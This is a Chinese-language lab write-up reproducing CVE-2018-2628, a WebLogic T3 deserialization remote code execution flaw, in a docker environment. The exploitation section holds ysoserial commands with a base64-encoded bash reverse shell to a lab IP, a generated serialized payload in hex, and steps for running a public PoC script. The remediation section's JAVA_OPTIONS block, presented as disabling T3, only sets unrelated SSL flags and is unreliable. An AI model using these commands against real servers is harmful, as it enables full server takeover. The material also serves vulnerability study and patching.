CVE-2018-2628(使用 docker 搭建)
介绍:
是一个影响 Oracle WebLogic Server 的严重漏洞,属于 远程代码执行(RCE) 漏洞。以下是对该漏洞的详细分析:
● 漏洞类型: 远程代码执行(RCE)
● 影响范围:Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
● 漏洞等级:严重(CVSS 评分:9.8)
CVSS(Common Vulnerability Scoring
System,通用漏洞评分系统)是一种用于评估计算机系统漏洞严重程度的标准化评分体系。它通过量化指标对漏洞的威胁等级进行评分(0-10分),分数越高代表风险越高。
● 漏洞原理:攻击者可以通过 T3 协议发送恶意序列化数据,触发反序列化漏洞,从而在目标服务器上执行任何代码
T3协议是Oracle WebLogic
Server中用于分布式应用通信的专有协议,主要用于服务器与客户端、集群节点间的数据传输,尤其支持Java对象序列化传输。
● 漏洞影响:
- 远程代码执行
○ 攻击者可以在目标服务器上执行任意命令,完全控制服务器 - 数据泄露
○ 攻击者可以读取服务器上的敏感数据 - 服务器被接管
○ 攻击者可以植入后门、创建新用户或删除数据
● 漏洞利用:
工具地址:
https://github.com/Lighird/CVE-2018-2628 #在官方的文档中找到了需要使用的工具!
根据文档内容操作
直接使用ysoserial-0.1-cve-2018-2628-all.jar生成payload目的是将漏洞服务器和JRMP服务器建立连接
启动JRMP服务,目的是为了让weblogic服务器远程调用
连接jrmp服务poc
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 1234 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" #使用ysoserial来启动jrmp服务,监听1234端口 java环境大于11使用jdk7u21 bash -c 使用反弹shell 只需要kali监听即可
利用ysoserial-0.1-cve-2018-2628-all.jar生成payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.12.8:1234 | xxd -p | tr -d $'\n' && echo
生成的payload
aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707735000a556e6963617374526566000c3139322e3136382e31322e38000004d2fffffffff663bec100000000000000000000000000000078
打开漏洞利用工具目录下的 weblogic_poc.py 文件
修改两处
第一处将复制的payload替换原有的payload
第二处修改漏洞服务器的IP地址和端口
(这里介绍一下,ip地址为上述的12.8 也就是反弹的地址,端口号也一样)
kali 建立监听监听 1234 端口等待上线即可! ● 修复建议: ○ 官方补丁:
■ 升级到以下或者更高版本
● 10.3.6.0.180417
● 12.1.3.0.180417
● 12.2.1.3.180417 ○ 限制 T3 协议访问:
■ 使用防火墙安全着限制对 weblogic server T3 端口(默认 7001)的访问
■ 修改 weblogic server 配置,禁用 T3 协议
set WL_HOME=/path/to/weblogic
$WL_HOME/server/bin/setDomainEnv.sh
export JAVA_OPTIONS="-Dweblogic.security.allowCryptoJDefaultVerification=true -Dweblogic.security.SSL.ignoreHostnameVerification=true -Dweblogic.security.allowCryptoJDefaultPRNG=true -Dweblogic.security.allowCryptoJDefaultJCEVerification=true"
■ 监控日志
● 检查 weblogc server 日志,发现可疑的 T3 请求
● 漏洞检测:
○ 手动检测:
■ 检查 weblogic server 版本是否在影响范围内
■ 使用漏洞扫描工具检测
■ 使用公开的 poc 脚本验证
总结
在联系过程中要去细致的掌握每一个知识点,多多重复,才有效果!